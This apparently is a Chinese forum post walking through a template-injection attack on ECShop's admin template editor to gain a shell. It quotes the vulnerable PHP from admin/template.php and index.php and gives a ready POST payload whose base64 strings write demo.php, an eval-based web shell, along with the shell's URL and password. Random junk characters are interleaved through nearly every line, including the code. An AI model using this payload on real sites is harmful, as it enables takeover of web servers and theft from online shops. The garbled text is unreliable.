首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板: ?6 k: \7 [% }( d
' C9 G; Z/ N4 r6 S9 m% @' s
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
/ q, _+ V0 {1 E但是ecshop似乎不支持{php}{/php}这个标签来执行php代码) p# ]- K7 ~% e' f6 J1 [
admin/template.php
- p9 a' z1 p) a5 Q. Y
. o5 F d. |$ v6 l. P- \& L1 if ($_REQUEST['act'] == 'update_library')
y N$ m$ A7 j. \) h \9 u0 Q
0 M2 u6 z3 A2 g2
; ~! B. K" }$ i3 J
( C' E4 I& k7 D3 { % |& h8 q0 A1 `+ O; b6 `
8 c3 @& Z9 G' M7 R/ i( w4 check_authz_json('library_manage');
) ^5 Y4 v6 }( F! W4 ~. d$ w1 p) p* B+ Y+ B8 Q* c+ y9 r; `' ~
5
% z7 X* x3 Z8 p# t1 V
/ D% a5 T' k8 @: T9 h6 $html = stripslashes(json_str_iconv($_POST['html']));
; c# {5 Q9 ^3 r8 w6 o- I4 W6 x7 _" x
7
$ c$ t3 ~8 u2 Q& ~8 U$ ~& F
+ ?# ~1 y" k5 j9 \. Q5 H8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 ; J/ S8 A' s' \2 U
! g+ Q/ W e! w5 E# p9 ( F/ u( q* }8 @
( K2 Q. m! k0 {7 w7 ?! z10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
7 r5 n; q. t# f+ U( \: G. T; b& i5 C* Y2 j
11
! `2 C7 l( b# t! L. r1 O
. T0 N0 `2 M1 |/ O1 A( N Y12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); ' ?, M0 G% d; D/ N9 ~$ ~
. y! k, i$ y- T# @# t
13
, a! A" m7 x. z, N* |+ q
4 V# O0 d% D( L' @- o14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
! ` @# ?: Q, e+ L$ c7 }; k" j. [- M+ B* |" r# x7 S
15 { * f+ q3 K. V5 N% G
! L' V4 s% r$ q7 D; b; x
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 9 _0 O7 h' S- z) z8 ?) G
% K. g& q6 @ a; F4 ~% \) p17 make_json_result('', $_LANG['update_lib_success']);
& t: z6 n x- B, ?! K8 G5 t' J, ~2 R& \' \
18 }
3 P9 u( d# B8 e, Y Q: i
* W( ]: r- {& ^- h* C8 R8 b; {19 else * r& j! Z, P, t
N5 ]. t; _7 I20 { ! }- h/ y. q5 b0 I: ]( f3 j t, s G
3 G: z; z4 C2 T2 F- e5 p6 x$ J21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); ' l4 C( j! _! p- N4 {8 a! X
: E7 v( v X% H$ L7 }& F1 X2 X22 } # T" y" B& F! I1 l! R# M
% p6 }' I) Q: t* \: q23 } . s- g5 h) P# L" n9 l* U
! T4 d- c1 r7 |
那么找个比较方便调用了模板的文件
* [6 z" J- Y( S( l; Kindex.php0 w# s3 L" P3 i! E
! M# Q: @: U3 H
1 if ($act == 'cat_rec')
7 N% v. Q- A8 T* ~, ^5 b: ^
1 \1 g5 S+ m# I0 w2 M/ W# x2
0 x( N0 `# f0 b; I( K
0 i* I) y* x1 `; n# {1 A/ y3 { 3 ]! s) C6 z9 l! X
1 e2 ?. m8 A1 B4
% i* k7 }3 O9 S7 f2 ~6 @
* S1 ~0 [: D+ m" L5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
) E! j5 J6 w1 a& C# |
* h- v6 @; ~6 b" V2 h8 x6
% a4 C" G! w: L0 A$ r# D2 u' M+ d& i% ^( u1 K: G- z
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
8 j# E- Y! x7 M, S" b8 Z
7 P3 k! n3 k& i( e. k4 U8
2 D; s2 V$ P; b& [1 V8 @: ]7 U. `) L( b
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; + \9 I& o( n/ b: ^! u2 E. y
7 n1 a* _! b- o3 `, D10 , o! K. G4 f4 h% Y4 t, G2 ~' `
* d5 \$ O1 H3 O) t) k" j: a11 include_once('includes/cls_json.php');
! T' y7 h5 C# j U- F5 l4 T- P; T, [+ Y2 f( c5 y
12
0 _7 S+ ^, X- n. q0 F/ h
" O [. l8 c" B" S' s6 W0 y9 c13 $json = new JSON; 4 U1 x) C# z* f! I7 S) P' t% z
2 h/ o+ [* ^5 T# m( Q" V3 {! P0 F/ w14
+ G! t* {8 t0 y* T
. `+ h1 Y8 l' N1 J& l15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
+ Z% ~/ }' y7 J9 k3 E2 ]7 g. h
5 n, L2 i9 G2 H; u; Y; I1 O16
9 @- E/ e& {9 o$ R2 h6 D8 k$ J3 X
& m+ K8 z; u* d k17 $children = get_children($cat_id); 2 [" w, ]5 x1 ?
w4 h% r7 U3 _; ]1 ^18
, X& ~$ ?$ h: a) m' t6 x b$ |& M* q4 Y+ k
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
9 i x V0 Q! i4 R5 a/ T+ z2 Z7 @9 Y1 Q7 {2 W
20 ; _. O% M1 c+ C/ A7 H4 h
+ ^; U3 P8 \- Y. R
21 $smarty->assign('cat_rec_sign', 1); 5 P. e$ g' ~# E" m
: D; G) M* @+ j6 b1 B) O22
" j: s# A$ n1 z8 |8 I. P
! }' v q* U( h+ M23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
; Z n- e& ?+ p/ |. H* r
9 a6 h; D: K) ?4 O/ i9 Z" X! z8 q: ?24
9 Z9 e/ |+ }8 G8 q% |1 n: ^" G6 J, k# c$ a
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
9 w' C8 P8 t2 m g$ \
! A' W! K+ `3 ]* H' C26
2 s+ ^4 T; ^- I. q/ A" G: ^0 o( r/ D" c4 G. X2 U; `- b% ^" L
27 echo $rec_array[$rec_type]; 1 A( `3 Z& g$ `. N# _% Z
1 F7 h1 ^4 r; v/ [/ N/ ^28
6 m; B% K! `5 T+ @% b9 Z0 I& P; Q/ T( E% H4 I
29 die($json->encode($result));
* w9 D3 {2 m: J9 _
7 C$ \8 b q1 |" c n3 Z- |. f30 ' S: R4 Z) R. D( c3 ^$ A
( W7 [' R! c( d7 U: W
31 }
1 m! T0 A6 d& o1 B. [# L0 C8 q
6 f2 J4 R' F1 }4 e' V2 ~" L6 N那么就有利用方法了
6 N+ E! ], f Q6 ^; a8 D. Lpost包到http://localhost/ec/admin/template.php?act=update_library
6 m& n9 f! [5 I6 g1 G/ cPost内容:% ~% _1 {: W3 i6 z
* x0 ]# i" T E( h, x$ g8 ?9 ?
6 D y4 i- ]3 q
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} i) A/ g+ w9 N) U, W) j
) H& L% P% T2 X4 |. h9 f& X3 D然后访问http://localhost/ec/index.php?act=cat_rec& ?0 z3 Z5 B/ n2 N4 E& u) z. q
3 L- f* h6 o4 K0 E! }. `) L# v! M. L0 gshel地址:http://localhost/ec/demo.php
$ ^1 `' t2 i; Y0 ]密码c4 ?' e& b' q; |5 o6 a8 }
& q8 u2 A/ C: O/ W
|